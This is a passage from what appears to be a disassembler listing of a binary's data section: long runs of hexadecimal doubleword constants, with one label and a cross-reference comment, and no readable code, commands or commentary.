4F9231F9h, 9F054780h, 637A2D56h, 532E43E6h dd 9308C158h, 0C8200E6Dh, 0FEACEFE4h, 0C5818A70h, 12082672h dd 9B702F21h, 10DD0882h, 487468A1h, 5884811h, 267D023Dh dd 5F58D892h, 96C04FCAh, 0E125725h, 0B4015B95h, 0CA613AA5h dd 0E963D03Eh, 0FB3A6E72h, 8D219602h, 607B4ECDh, 0C8E95EF2h dd 5401062Fh, 0FE3CC49Fh, 0E909889Ah, 5F76C0B2h, 1FE853E4h dd 216205C9h, 205B7055h, 0E2A0BED6h, 193D2CE1h, 0DDF69366h dd 0A88887ADh, 0CF905649h, 753058BDh, 0C2EC2FEFh, 0C7017312h dd 59FB0D05h, 482336A4h, 7D913DEh, 0B08C7A52h, 7E5726E9h dd 4E0D8062h, 0CA811307h, 0AD62CD3Ah, 70A0D542h, 4E3C0A29h dd 572BE91Bh, 63B6067Fh, 0CE5A2E38h, 0E33F0309h, 39655754h dd 66680730h, 0E96BA86Ah, 8D839F0Eh, 0F9100C33h, 0FC4F72B5h dd 0CE904E9Bh, 42475259h, 0E4D9013Bh, 37E9CB33h, 401C91AFh dd 8B22E5BFh, 3CA9DBE9h, 0F9E20B7Fh, 0B0FFE90Bh, 80DE0F25h dd 0D377C781h, 1E0C813h, 0CEA0540h, 0B7197E67h, 1BC27005h dd 40B81C08h, 0E92C6027h, 42967B9Dh, 655AB701h, 7A6C2CCCh dd 9F0F194Ch, 316CFEF2h, 0D7168958h, 0C7C792E9h, 65EA2475h dd 4E8B8EA2h, 245F75AAh, 0BFF6BBEAh, 0FF70AA4Fh, 99856CE9h dd 5D29B253h, 7515C27Fh, 7D69865Bh, 0BD661890h, 0BA405B81h dd 5C361DCAh, 277E0475h, 0C4E663B0h, 4927C77Ah, 49EB56D7h dd 45208AD8h, 9F5871D0h, 0A620FEDAh, 36050237h, 9F480EEh dd 3A4D0361h dword_4F0044 dd 251C6CE8h, 19C3D08h, 0D8414DE9h, 0C7BA3044h, 8F5E320Bh ; DATA XREF: ___:00438124o dd 0DC970633h, 71557618h, 350CC0EEh, 2FFB37B8h, 80885CB5h dd 8F43D82Dh, 6CF0250Ah, 35725701h, 0CD489C27h, 5E02C16Fh dd 9EBB0090h, 22F80061h, 7DA2CB81h, 4B1C5A3Ch, 5EF854E9h dd 7668A642h, 15A90F25h, 0ED8067C0h, 0E501D0E8h, 2823B652h dd 9AEF5AF5h, 3FB26CA2h, 0C31F38B0h, 0AABBB958h, 0EBF2EB3Ah dd 605F10BFh, 28C0EA07h, 0C275DA7Eh, 6B827195h, 4F4D05DFh dd 0B7F631BFh, 56C2EABFh, 0C01B9E7Fh, 510EB326h, 0E913D988h dd 5AA7DE9Ah, 0FC3DB04Ah, 0BEE5F94Eh, 0CB9B2C6Eh, 86A31B5Eh dd 6B32BB4Bh, 64A0DD13h, 512879EEh, 31D07B4Ch, 5EF355B4h dd 0AE2A813Bh, 7B77A7BAh, 0C8B2BC44h, 6801E620h, 8F6A15E7h dd 48E912E0h, 77E55C5Ah, 0E925FEBCh, 6851C07Ah, 87365DEFh dd 0ED6C0181h, 3929F44Eh, 58785213h, 0E95051C1h, 2E8E97CDh dd 2CE4CE21h, 0C515F828h, 95CB8C0Ah, 5057AE61h, 0C179C8B8h dd 54BF281Ah, 0E241F70Bh, 1C3511Bh, 0B1A76CD3h, 6F7956A9h dd 0E848A69h, 27751725h, 92400B81h, 9B0B87BEh, 71877B24h dd 8D48FF9h, 6171748h, 48F7EFh, 0A16EF9B8h, 2D402D4Ch dd 0E406D3Ah, 8A14C335h, 1683AC16h, 42F69B08h, 0CA4B3A3Ah dd 0AE2B5F53h, 0C98C8B26h, 0BC5F9694h, 68510590h, 770749E0h dd 53527583h, 0C0E9E8A0h, 0C8B2874Fh, 5693ED02h, 42D62E1Ch dd 4A19E501h, 0B6E312Dh, 25CCD778h, 610253BDh, 6A2BD1E9h dd 0DC2E08E6h, 8007125Ch, 0A8DA40BFh, 2FE9F80Ch, 0C9F7476Dh dd 64D75FA4h, 12D7F405h, 6017B868h, 966D9539h, 0DF014802h dd 552FDCE9h, 7EAE95E7h, 65717901h, 53205E45h, 0C9775937h dd 0BEB24F8Eh, 9D687A21h, 0B24BDD2Ch, 64A09266h, 0ADC44F41h dd 0C680C08Ah, 0EAFE286Dh, 496AEBEEh, 0F6A12C4Fh, 0E8736025h dd 51703511h, 5003177h, 0DC26EF33h, 81CF1AE9h, 0EAD945C1h dd 2DD013C0h, 4BF20D57h, 607C2166h, 0D81322BAh, 0D0FE4567h dd 0AA19B784h, 80296B22h, 5B96E908h, 0D24725DEh, 0FC487BC2h dd 0FAB7BAB1h, 0EA3A731Fh, 860CC120h, 4C77D568h, 0CC5A8882h dd 355340EBh, 1BFF9755h, 77482158h, 0E91721B2h, 0BBB4E1A3h dd 7B309819h, 0B943240Ah, 51508EC6h, 0A44782C0h, 0EE09B819h dd 0AE3962CFh, 96CCB55Ch, 21891EF8h, 2F15703h, 7A4B2CCh dd 38A5795Dh, 0E94D38F9h, 40A8414Bh, 0AA3CAF6Ah, 745E057Bh dd 1587780h, 0A53B8C2h, 77ED24F2h, 0E5CB09EAh, 0BD602D7Ch dd 4F961B94h, 0C30CC457h, 22250F9Dh, 82E57C5Bh, 30072753h dd 0F280DF85h, 7AD88415h, 50A29E14h, 43A431C5h, 995EAB09h dd 60715A8Eh, 0C3D73EECh, 663BBD16h, 658C5EAh, 782C7895h dd 0EA713BEh, 0E07A0814h, 2F6800Bh, 1516D1Eh, 3003E6C1h dd 5940DA43h, 0B6F4A0B2h, 0F366BF09h, 129DFE74h, 6F7AD710h dd 5AD3DC95h, 5D68B65Fh, 0A84B9B44h, 39904FA4h, 3AC208F9h dd 94ACE90Bh, 7B05602Eh, 0BB7D5BA7h, 4BACAA20h, 2CD9A5BEh dd 3D050286h, 0C5502028h, 0CFD6A7EDh, 93F8D4A7h, 0E5F8095Ch dd 5C954E50h, 0F0C25AF1h, 757AAC76h, 4530DB64h, 0ACC2D31Bh dd 9D42E87Bh, 0B2BF8BE0h, 588344B7h, 0BB253052h, 0C0B69491h dd 80076EB4h, 0F42840ECh, 5A51C457h, 0B362E530h, 0FAC5C2DFh dd 8B7025E9h, 0E17A51B5h, 0BBA01EE9h, 0BE5D18E7h, 3FE8B60Ch dd 63ACF730h, 774A751h, 80F94578h, 0C078B551h, 30BA73F4h dd 0F068D80Bh, 0ADC9711Fh, 53FAB5D2h, 81C14E4Dh, 1A3B18AAh dd 4E2CF970h, 4BACE27Eh, 0EE4BF0A8h, 37503469h, 0BF010A0Bh dd 57492759h, 0F71DF199h, 11B2448h, 3B4A0B0Ah, 8220E181h dd 0D04E58B0h, 2A5BB80Eh, 88C5EB32h, 0E87DEDE8h, 0C4371E0Dh dd 0B1A09264h, 0DD9A01F8h, 2E07246h, 7313F5C8h, 59F24801h dd 6C649D28h, 5F5A0826h, 77A2DA27h, 18152DD6h, 53E47FD6h dd 4359682h, 8473C766h, 0F476A1D5h, 0ACBB757h, 6818305Bh dd 42BFB0h, 584BBFCCh, 0C01F070Bh, 4BEC6828h, 0EE408C08h dd 167A064Ch, 0ED4385E9h, 0C18EE780h, 3583E39Eh, 2A1E5DF8h dd 0ED25557Dh, 7A6E5EB9h, 43897456h, 5CE63029h, 707A2635h dd 300117A2h, 8644C45h, 0DBE93A3Eh, 0AB4D100h, 0E6D0E480h dd 0FE7D0FF4h, 50BC0C4h, 30D23481h, 6DC820FCh, 0C0A83E4Bh dd 8687E2E7h, 60923651h, 0B55E33E0h, 0BB621376h, 205F9307h dd 6C97B756h, 0A49D30EAh, 2E06C36Dh, 0B50DF93Dh, 0B1C0CBE1h dd 5B2DC17Dh, 0FD94E15Ah, 5B842B97h, 307CF3A6h, 0E737467Dh dd 4C2462CCh, 3C02AD4Fh, 7DB5F39Dh, 0B37DFA62h, 0EDE04AE5h dd 8CFDD2AEh, 0B16A3210h, 0C52F56E9h, 44E69922h, 68844377h dd 17276DC9h, 0B510507Bh, 84E95DF6h, 0B2AFBB3Ah, 0D7682C5Bh dd 0F564A909h, 0DCEEC8B0h, 43AB2A12h, 5BB33715h, 25F72FFh dd 0D8AB5C25h, 0DA49D1B6h, 429E1236h, 0F34564AEh, 0D7E9137Eh dd 0C1886281h, 0A59CBC8h, 427E6852h, 0AC4069E4h, 0BAD7EC1Dh dd 6B10C3E8h, 0D0AE5003h, 275C9740h, 0EED2EF81h, 5D602BFh dd 92FB5DD6h, 0A9632882h, 5F8AF572h, 4E6212C2h, 0AEE6C1ECh dd 0B9040E48h, 6ED03E7Ch, 72FC24C0h, 0ACC65A89h, 0E5BC16A2h dd 16809E34h, 0BD1270E0h, 4F78B1C0h, 0F29C6FEEh, 466C3509h dd 6BC8F2EEh, 2957BE07h, 3290FBF3h, 77D92E90h, 0B9184BA4h dd 0CC5E59C8h, 499406A4h, 0F0F1BF1Dh, 177607BDh, 21CF2F26h dd 225A035Dh, 0BBA68F41h, 0E5C69C3Fh, 244AB96h, 39296649h dd 0A70F6ED6h, 0EA83206Bh, 4A44E901h, 0E5793059h, 25458811h dd 62950B40h, 0C476E3Bh, 22CC33A2h, 17FAB9C1h, 5DEB9F62h dd 45BDBCC4h, 0D0B7260Bh, 69B8E831h, 0A741A3B0h, 5E69C860h dd 0D744A8BBh, 0D1530206h, 1219D623h, 6DD9F1F6h, 1901D308h dd 63A65F41h, 34E987D0h, 0C508D5F7h, 9F82FE20h, 23AC8011h dd 0A0285B60h, 3A8053B8h, 8D9238A3h, 0EE88AABFh, 18852768h dd 0F025865Bh, 460B03F5h, 0D8CE814Bh, 6E00FA2h, 47BD8663h dd 0F97C2D92h, 50CFAA30h, 834B3C4Ah, 401201B0h, 0ACA1AD39h dd 2F002F23h, 0F84DBC0Dh, 5525054Ch, 4100653h, 73554FAh dd 7E6E525Ah, 0DDB05152h, 5EF73921h, 0E5AD724h, 0DDE194E1h dd 3C8992E9h, 9356DE3Eh, 26258AA9h, 83EAF61Bh, 58567BE8h dd 96D64CC5h, 80C01EA0h, 152B850h, 58C707EEh, 0CF26F931h dd 7A416008h, 37240226h, 0FEEDC12Fh, 3F5003CDh, 0E5CB09ADh dd 0A642E9F0h, 87DF43C9h, 0F0925EA8h, 7F71552Eh, 12B45288h dd 47AE985Ah, 969ABB7h, 8DFA9883h, 5A682FAFh, 0BE8230E5h dd 4ABAE8F2h, 0CADF0051h, 941B1F7Ch, 510A2832h, 0D3420A2Dh dd 3F270B42h, 904416Eh, 0D03C68CAh, 38EC0086h, 332D7303h dd 5701124Fh, 0FE6213E9h, 6E09A825h, 0C572F117h, 0DD57BEBEh dd 752644EFh, 0DA6803B3h, 54F1187Eh, 22EF4160h, 39DC550Bh dd 3DF98429h, 2D5B8BB8h, 0A8CB2BD9h, 7220FA58h, 0E306F890h dd 0C470618h, 2DD503CAh, 0C3217D86h, 0EE6C7422h, 3219023Eh dd 57F30178h, 6F97EF40h, 0E9266604h, 31E90E0Ch, 4B092013h dd 2BD9747Dh, 57364981h, 0E6195E2Fh, 0F227E2C0h, 92F514B7h dd 7851B7E9h, 9555C44Bh, 946C775Ch, 0A1FB01Bh, 0A595E976h dd 346B035Eh, 0C013D2Ah, 2E46635Ah, 0D53A09E9h, 0CBE8A8F3h dd 8025B25Dh, 0E9FD87A4h, 0CE809FE3h, 0A872D3BBh, 62094E5Eh dd 6BB4F129h, 17007F9h dd 0C2DBB7C2h, 87521948h, 71792C2Dh, 19FAA679h, 0DCFE2711h dd 76B7F0F3h, 0CC1445B4h, 0B241110Fh, 5612822Ah, 9FDE0362h dd 729CF425h, 0C825357Bh, 25104D4Dh, 0C77E40BCh, 3FDBCE82h dd 0AB3CC2E6h, 87F176D7h, 0EFD2361Eh, 5F929ABFh, 9A2C74FCh dd 0F1D65A1Dh, 48BDC809h, 336C27C9h, 0F3E7BDEh, 9B9B793h dd 894B2EE8h, 413A336h, 2044904Eh, 0AAF0B5C5h, 0B652460Eh dd 16EEC15Dh, 0A9AC6FEh, 726016D1h, 7F821055h, 0A7C28D63h dd 0AC124850h, 0B421C368h, 87045F69h, 0E744D4AAh, 2EC140EBh dd 0C089E14Eh, 3A09296Ah, 0E75096B9h, 0A242B74Eh, 1B334F5Dh dd 84100FB9h, 6C48C848h, 1296E826h, 4ED6A8A6h, 0E9F39EFCh dd 687DB1DAh, 2F5712B8h, 0C5DA7E9Bh, 30570882h, 8294CFFEh dd 0C5E6C7D8h, 1524617Bh, 5E40A7F8h, 95757C60h, 0F203B6DCh dd 0DDB9FA04h, 4C3FB6BEh, 0AE97107Ah, 9E28813h, 0E17A5B7Fh dd 0A51FA7Ah, 728C1A9h, 8D9DC6EEh, 34F900Dh, 347C0E47h dd 0EEC2FE01h, 5E0C088Ch, 74053613h, 0AEB5C3ECh, 5913EBF6h dd 0E036F856h, 0A86E2AE9h, 9EA81ACh, 59BA3329h, 88269DAh dd 0F0E0F689h, 4AB6525Eh, 0D20E5A1Dh, 9B50C968h, 6C8CC1ADh dd 0CCCC302Eh, 0E2A0F94Ch, 55811F61h, 304FB9ECh, 0F5781EA8h dd 35A298Dh, 1F16C7F0h, 0E23A53Fh, 50A148EDh, 3C555377h dd 0FBC2A472h, 17627DEAh, 96874CDFh, 95F60819h, 8D85A12h dd 0AAF04AFFh, 0EF81A2Dh, 78C99FE6h, 0B58D7AA8h, 7919D502h dd 875C03F7h, 64045EEh, 86C9E2C9h, 0C07DF025h, 0BD6499E4h dd 11985D23h, 960ED918h, 139FE670h, 170FF02h, 225967D6h dd 14B2063h, 4A03711Dh, 0CA69F380h, 20E9AD25h, 0BB0BAE6Dh dd 7C67C3h, 7DE74E6Fh, 0C5294E42h, 2A9DE7E8h, 464BD8AEh dd 0AA4A67ACh, 0DED52D32h, 685F02ACh, 0EDD92C49h, 0A1400F6Bh dd 1767467h, 4B3C2DAh, 0D8FA5808h, 0A5FB7C6h, 9E9A8AB6h dd 4A7B1655h, 0B5680187h, 0E4C5FECDh, 0B3BAD5C1h, 60685204h dd 6AE6E0Bh, 0F64F2C1h, 61083A9Ch, 0C4800FBCh, 9222D192h dd 54B80157h, 48E8A03Ah, 50E63507h, 0D604D99h, 50B41B92h dd 0D3F1AB31h, 4698FE8Fh, 46D440C9h, 1B35058h, 0DB728419h dd 0C47EF889h, 3EBA8284h, 0FD0F1CDFh, 6BB95CE6h, 4D4CEA70h dd 4BCD207Bh, 584BBE5Ch, 6A3E5476h, 1E980008h, 7CE92DA0h dd 9970D54Eh, 94453268h, 0AEB1624Dh, 78FF66DFh, 50FF96A9h dd 1D267BAFh, 0AB1A8609h, 7664D50Dh, 146B9898h, 0DC26689Dh dd 62B92611h, 1C56108Bh, 5EB89C68h, 0F85439EAh, 4F9533A6h dd 13339152h, 8E9D27Fh, 0C15FD7DEh, 2FDFF792h, 0BB03EFA6h dd 7A18130Ch, 3071CBE1h, 435C360Ah, 57D71DD8h, 0DFE96542h dd 0FD2BA911h, 29B922E8h, 79036C00h, 5301F181h, 73597ACCh dd 8FB794CFh, 200C3F28h, 79181878h, 0D118397Bh, 17332603h dd 0BE0D2C1Dh, 840FD002h, 696497E1h, 0EFBE22FAh, 0F6E28B6Eh dd 0F0CBC4B3h, 45FD5D9Bh, 1873E998h, 58A4ADD0h, 495909BFh dd 0E95097A3h, 0B8EBFB29h, 93EA5795h, 7B13BB04h, 611EFB16h dd 0DFFDAF54h, 0E2B0B3D3h, 5E701C1h, 0A26F781h, 609A4728h dd 70E021C6h, 2CEFEB5h, 106822BCh, 0A9200728h, 762D0D9Ch dd 1E265B87h, 55C58A62h, 170205ABh, 91EF34Ah, 664DE368h dd 10CE1F3Dh, 0FD26BC3Fh, 0D56858C5h, 0AF300F5Bh, 4AC171DFh dd 8527EB7Ch, 2007E383h, 0CFFC5C6Eh, 26761209h, 0CB41D727h dd 2D39FC6Fh, 38EBF4C0h, 35E92B05h, 87320D7Eh, 0BDA8B494h dd 0A0EC1230h, 67EDEC29h, 7A30E12Bh, 2468993Ch, 0C2CB3007h dd 5804CB65h, 0C89974BBh, 570915AEh, 7F594E97h, 0B091545h dd 0AD51F9F1h, 0B0C93751h, 0D6E7E9F5h, 0ACE40CBDh, 0EA35807Eh dd 0C0EE0601h, 0C9FEB209h, 0CAD9E916h, 0A42508B9h, 0C85DC742h dd 0E1E28015h, 539A0680h, 54E9C4B7h, 8224F569h, 0CC28EE18h dd 416B2CF8h, 1D6C293h, 27094D77h, 25150D6h, 0F94F4B2Ch dd 0F2AFE5E4h, 91502D59h, 0ED3E5827h, 92E34925h, 21E61800h dd 4FE96E6Bh, 11E1294h, 0D2672AE7h, 20ADEC78h, 7BC352B4h dd 4817FBDh, 28BACD2Eh, 69F2FA29h, 0ABF4E9C2h, 780747Eh dd 935EFB8h, 0C055B9DFh, 337AC9BBh, 50D9AB58h, 89A546DDh dd 58576806h, 0E6E8225Dh, 4C5CC706h, 1E0C16C8h, 4B71198Ch dd 0A9FEEFC1h, 23479E03h, 7A1E1E6Dh, 157E2E17h, 0A24FD3C4h dd 44FB9234h, 171F9682h, 0E5B4DE81h, 0B2C57183h, 2992A132h dd 820825Ch, 0F5E95A25h, 54505682h, 51CBEE76h, 30284EB2h dd 88E6B401h, 0DEA566E3h, 0BAA53DC0h, 0B29F1B91h, 0A4685182h dd 65B3F607h, 94DCBF6Dh, 3ED04C0h, 0A876C3E9h, 1CDFC0ACh dd 0B75D726Eh, 524029D3h, 3E6A4FBAh, 0EA030A68h, 13903595h dd 2870D0C1h, 34BEC05Ah, 9D5FF6D8h, 0D101C282h, 7649BE1h dd 5737D2F0h, 0BAD0BF05h, 1D6943B5h, 80810206h, 0CB44C8A3h dd 0E913F331h, 279DC31Ah, 0E0B4043Ah, 515B0786h, 0D23F4072h dd 0F90B30F5h, 0AA6DC2DFh, 7CC6B43Bh, 932DFFB8h, 80A9DA53h dd 95295A08h, 8068B0F4h, 0AF11DB4Bh, 0BDC41BD6h, 125A43FCh dd 15E3E74Ch, 3AE11DE9h, 13C13C59h, 0EB63DB78h, 0BDC0D152h dd 44E44587h, 1C05B95Dh, 2A09EB5Ah, 0D28A5405h, 505A59C4h dd 0BA69ABA8h, 5449BA7Bh, 0E9125644h, 21FE84EFh, 65B4B18Ch dd 92D86EB9h, 5A324069h, 525EFCB5h, 0C12F15Bh, 5C4278BBh dd 6E18E92Ch, 60F4299Ah, 0DF05D480h, 3079EE63h, 618E2D0Ch dd 11A2105h, 71705C8h, 96918CA2h, 41CCE986h, 0C5895516h dd 880485B9h, 0E8419C6Fh, 5D0740DDh, 8E8B66B6h, 82985F7Bh dd 0BA81E7EEh, 0BAAE65B4h, 0D884F931h, 4BD8E26Bh, 927081E8h dd 0BA50F19h, 1C6B4930h, 4152DE7Eh, 0A879D467h, 59D3B144h dd 4781DF70h, 0F57F7806h, 0B2852ABAh, 5BF78EFFh, 46AF04BAh dd 6B0712A9h, 3BC10553h, 0A970F701h, 1E15007Ch, 27EE2D64h dd 0D8F86ADCh, 0B9AAF0B7h, 6B80834Fh, 340020B9h, 6E2E3C95h dd 0E6E9C631h, 85D69FFCh, 90B96147h, 4E567E11h, 0C113FEEDh dd 5489B75Dh, 8970F489h, 0CC4E287Bh, 69B05013h, 0D73ACDE1h dd 94E9872Eh, 8961A92Dh, 59DDE401h, 59259676h, 2AAE145Fh dd 0BC15D68h, 73B02DB7h, 66DF54F8h, 844971D7h, 274C7F57h dd 0D6955C70h, 3A515962h, 59252ECAh, 0BD659E57h, 0E94175E5h dd 772C52CDh, 0BE286885h, 7D7DE54Bh, 715F8A62h, 0EE014505h dd 75E2E941h, 0B86FCE4Ah, 0D451E16Fh, 13932B2Dh, 8ACA8420h dd 4A2B8608h, 75C2091Dh, 520EDED6h, 108FA693h, 5D0CF193h dd 0C104D5F7h, 7E03E524h, 0AE22C00h, 73DD2988h, 0DCE3BD5Bh dd 0C012FFCCh, 26E90C6Ch, 8FE9996Bh, 0D8045755h, 46B7FAC8h dd 0ABB64D7Ch, 2DB07A48h, 0E42D75FBh, 2D73DE15h, 73C20254h dd 87985D03h, 0D995B50Ah, 5EB8C095h, 714E7969h, 0F3C09484h dd 2C2C4AF9h, 0BD5091Bh, 0CF49B03Ch, 5C06F23Dh, 0A268013Fh dd 5816D356h, 0AE26FC05h, 0CBC40C4Eh, 0B8625DC1h, 320FB469h dd 829DEC45h, 4B1AA1C3h, 588205C2h, 86DED1C2h, 5406E62h dd 0CFA2AE5Fh, 56F768C2h, 0BEA59855h, 95E98359h, 712F365Fh dd 6F147402h, 0DDDF7CE9h, 0C1767C64h, 1AB03D2h, 63D6ACB6h dd 0B0992E31h, 4A7AB882h, 6E004010h, 5EF22DD0h, 8CAB701h dd 1ED92AE9h, 0ACCF1E57h, 3FCC3EE5h, 1F0B77Fh, 84086793h dd 0A6DF0FC8h, 16FFEDDFh dd 1FD064C6h, 8B7CA25Ah, 680F15Ch, 2ACFB8E9h, 6FA61AA1h dd 3508CD31h, 0C0DD5802h, 4306D9h, 8149592Fh, 78458FC9h dd 407DC3BFh, 348B8704h, 0B0BE7F47h, 0E918F882h, 0BFDF3B27h dd 26772671h, 0E8EF147Eh, 0D410973h, 17805016h, 7A600AECh dd 707781AAh, 0DFC5032Ch, 12AC677h, 4ED85B7h, 0BC9BE908h dd 3CA64CFFh, 2D5210E8h, 1513680Ah, 0E25467E7h, 0FE4871FBh dd 29809030h, 8D6CB7D9h, 0A24A2EFCh, 5C4CA242h, 1F66407Eh dd 0EE17C0E4h, 108A70C2h, 0FB524AF6h, 68020498h, 8CAB3A78h dd 1A63DFA3h, 847E5573h, 0B76370ABh, 880651C3h, 0F07FE9FDh dd 0EC544A22h, 0A3D51829h, 0C9A5EB3Dh, 90D73166h, 8353E7EDh dd 0BD55A0BFh, 0BE5C6B9Dh, 1216104Fh, 3DF8680Bh, 22405D31h dd 5EFD4ADFh, 3850680Eh, 6F73BF17h, 31B98404h, 0BF81C7B6h dd 411694F6h, 55820697h, 0A30C1C2Fh, 5DD7BAEFh, 2D5D2460h dd 0FDC84A9Fh, 0B82D04E5h, 0D6B5A8FBh, 0FCF95CF0h, 27545DA5h dd 9CF70970h, 0CD80E3A1h, 0EC531BFh, 0D890CF86h, 8DBD3F6h dd 0DDF5E810h, 7DEB4828h, 3896752Ah, 0FF4B232Eh, 32689768h dd 51790AEBh, 772DA454h, 0AFF0914h, 0F830FA4Eh, 0F965E901h dd 1EF4413Ah, 7B6C6D1Dh, 2B8753C5h, 0D1C83AF3h, 872DC201h dd 0B8380193h, 6A154845h, 0E90C40F2h, 0EA51E811h, 376A1B1Fh dd 8C282C33h, 86E9EEC1h, 964D0B6Fh, 0BCA6984h, 764F55Ch dd 7CA4B82Dh, 0C74172D8h, 5805CA16h, 252F4AC7h, 29EF721Eh dd 48A16E5Bh, 8C6EE4C1h, 544B392h, 2F0459A9h, 0D341D389h dd 8006F8C0h, 93C1E13Dh, 92B3B3A3h, 2892BF3Ch, 0CD065385h dd 76C0CE58h, 5981A3CEh, 9DE0BCD8h, 9484D2EEh, 569F2827h dd 807A58A3h, 0E9200C09h, 583CECC3h, 7F9F17F9h, 0CAC99F92h dd 860C232Ah, 3721DBE9h, 6BAC65Bh, 14557DB0h, 40D7B904h dd 33E4421Ah, 8A6A17A0h, 0A89E1747h, 400CD00Bh, 8997975Fh dd 0E31F181Fh, 0B2EA3880h, 0D466FA14h, 0D7EF6878h, 6C02029Dh dd 5DC49ADh, 0E9340720h, 0EA80AD5Bh, 48244ADCh, 50095D11h dd 704282Ah, 5B83B814h, 0CD81341Fh, 121E0673h, 0EC3EF43Ah dd 4A95571Fh, 2B9AF580h, 2FE97CCEh, 47A7B77h, 5271FC1Eh dd 58509EE8h, 6BF6DB77h, 0B8E9463Ch, 34EB5A9Dh, 0BA2EBA6Ch dd 0BD5FFC5Bh, 56135422h, 8B58A98Ch, 0B768F759h, 5E81A33Bh dd 0E56AAC6Fh, 2565A4AAh, 0E837D697h, 5CF4721Bh, 80370A46h dd 76A3B8Bh, 685323DCh, 55287209h, 0BCB984FFh, 9F88BB17h dd 0E88713FDh, 5A89BCDBh, 0D1D381FDh, 2A52CC30h, 78DF8CA2h dd 461AB52Dh, 4389625Eh, 7E30D5EFh, 0A0B03084h, 3D089B31h dd 0B493A2B0h, 0ABD9F089h, 0FC5CBF40h, 0AD2760FEh, 0E7C147DFh dd 0BB530200h, 31C91C64h, 873667E9h, 61E3F758h, 287E5468h dd 3C04961Eh, 6E4AA48h, 0B3E5136Bh, 4FCFF840h, 5AE9ECF0h dd 0AD861D96h, 0BECFBC81h, 4737F153h, 6E7D6186h, 6EC12A4Dh dd 5D02C741h, 3CB111E0h, 6A0A7B25h, 0A2594065h, 0C0BD83E8h dd 2281E3Ch, 0C0570D5Fh, 3B3E6141h, 0A82B0B83h, 22E9F08Dh dd 17E9960h, 3E7317CBh, 0AAB47006h, 4D8E6218h, 99A520Ch dd 29E9DB1Bh, 2D58BFA0h, 9173335Ch, 0C6D0F8F4h, 6BE90A08h dd 0A56BCB8Fh, 0C952EDF8h, 9D21A899h, 0D89C173Ah, 2594CED1h dd 52C0F25h, 0AC885968h, 629A5BE2h, 0D3D89F4Dh, 0ACA05BF2h dd 429C9DA3h, 0F4AB5545h, 0C072680Dh, 5D77AA13h, 73650114h dd 38427F13h, 353B00EBh, 1B181D79h, 577D1BDh, 0F65B6E68h dd 8EBF93DEh, 0C0830971h, 0C7B07D02h, 0FC823B4Ch, 23AB8B9Ah dd 0F5F6C214h, 0C35B2B60h, 606C7443h, 51770C72h, 2EC261E8h dd 0C10B7B69h, 132A1826h, 0B5C7EA06h, 73A3A239h, 0D0B6578Fh dd 3DB45EA1h, 0EB06125h, 0F93A31D4h, 78680C9Bh, 0BAF32D44h dd 1C4295C4h, 33C7D7C0h, 0DBB0D14Bh, 0FF3616DEh, 4CDE013Ah dd 2EBB57C5h, 578B13D2h, 0AE5D0384h, 2CEB598h, 3A970902h dd 88A9F756h, 0F7A56654h, 0C820129Ch, 0DD0B95A0h, 0F30F3421h dd 1696DC2Ah, 903DF25h, 38BDF031h, 7C84A58Ah, 0A22F1A68h dd 235A2524h, 13771E1Eh, 0B32C4EE3h, 6291502Ch, 5E2F3181h dd 4C038B60h, 0C52563DBh, 1B77A534h, 3042B96Eh, 61C1AC2Ch dd 796E7EE9h, 4E382A6Eh, 642BDE80h, 0B50B5499h, 0C27F686Ah dd 0F83FE133h, 1662A93Fh, 0C0014620h, 506606EAh, 0E2C179B4h dd 0EB5017DBh, 293A2196h, 0F169A52Eh, 44E74F2Fh, 4E5D0930h dd 71AFB871h, 0B30E5F68h, 7A8F1162h, 2081DA8Fh, 0A5DEB808h dd 42ABFF0Bh, 8C7E0B05h, 19985284h, 0BBDD8097h, 5FFA1707h dd 9E5CAE15h, 0B9D8C81Dh, 27685173h, 0ABD34E16h, 5181C609h dd 0F1E64913h, 5D52EA13h, 0E90FC8FBh, 9F5B584Eh, 59959DD6h dd 0E688620Bh, 0AC3EF0EDh, 12190B87h, 0AA75424Ch, 0C5A50AB4h dd 554C88A3h, 341FC27h, 0D729FB46h, 0B4D0B1E2h, 0F1975A78h dd 5053C2CBh, 0A131CED5h, 35007FF3h, 84262312h, 17020F51h dd 4015CB0Bh, 13160714h, 0BB09555Dh, 7AD99154h, 40482704h dd 0B7D187E9h, 1CDC4B5Dh, 2D0EC079h, 51B4683Eh, 0A90AF098h dd 0C2374C67h, 352DA712h, 6EB8D93Fh, 0D185C4CBh, 0A1E027EFh dd 6C62A16Fh, 5F5D05D9h, 21C54D44h, 0BE83C30Ah, 56169C6Ah dd 4ADFE2A2h, 99EE1676h, 7EAC60F8h, 435D04A7h, 0A281212Dh dd 0CFF32966h, 32C4817h, 871881EEh, 2DFB0240h, 9B857FD9h dd 10C7CBFEh, 0BE40BAD0h, 77701E3Bh, 92A7FA75h, 0FFC9EF51h dd 67A18346h, 0F9B22BFFh, 2E23CF04h, 99848242h, 0BB004654h dd 355B5985h, 23E30481h, 0EA542E3Eh, 7406F540h, 78D1410Ch dd 0CF30E5EBh, 9E83A1AFh, 8C1E5F6Eh, 8108DAF7h, 781D60F8h dd 0F18326F8h, 761871A1h, 74E40ADAh, 2C40236h, 0EE8F780Eh dd 7F010B7Fh, 57D210A0h, 68C17440h, 7C2E4106h, 68F0287Bh dd 1849102Dh, 55516B4h, 0E8D11D6Fh, 0DD37C035h, 159E93Bh dd 8EBD0032h, 81239D38h, 261E02F5h, 0AFE96AA8h, 0C5275BF6h dd 8E542751h, 0A9DBAC2h, 826047Ah, 0F332C1C8h, 7416305Eh dd 2B25280h, 28322C73h, 0DD5404D0h, 0A1BB4E0Bh, 2EFC1D1h dd 0AAF4D21h, 0CE655CE0h, 95A3B75h, 9FE3B7F0h, 0E918A0DAh dd 0F775A555h, 5B9B12B8h, 0BB1B1308h, 16AED365h, 6486A8CBh dd 6601B034h, 3E521568h, 5635B0B7h, 0FEAE52C9h, 2D04B38h dd 0E97C6D7Ah, 157356FEh, 4534B7BDh, 3F0B2F56h, 0CC265CB5h dd 0CC431435h, 918257CBh, 13574E10h, 0B68DC11Ch, 1DC7D981h dd 82661F4Ah, 0BD7C640Ch, 0E91B7149h, 0C52C1455h, 0E2C4CB5Eh dd 0D3688209h, 546BA91Fh, 0D9D47251h, 7D2F3B2Ch, 3B512A99h dd 69F62509h, 0DBCEBA81h, 64A5BD33h, 0C751C242h, 33565545h dd 9C41D3FCh, 0F39CD07Ah, 0FE277541h, 40D85C28h, 0F42E91Dh dd 0FFDD013Ah, 3AE8144Eh, 0B3E9F9A3h, 5B7FC276h, 7B1E09BEh dd 0F0CABA74h, 473A436h, 17EA9F6h, 96618045h, 0C0978DFCh dd 30E9F35Eh, 0E3297C77h, 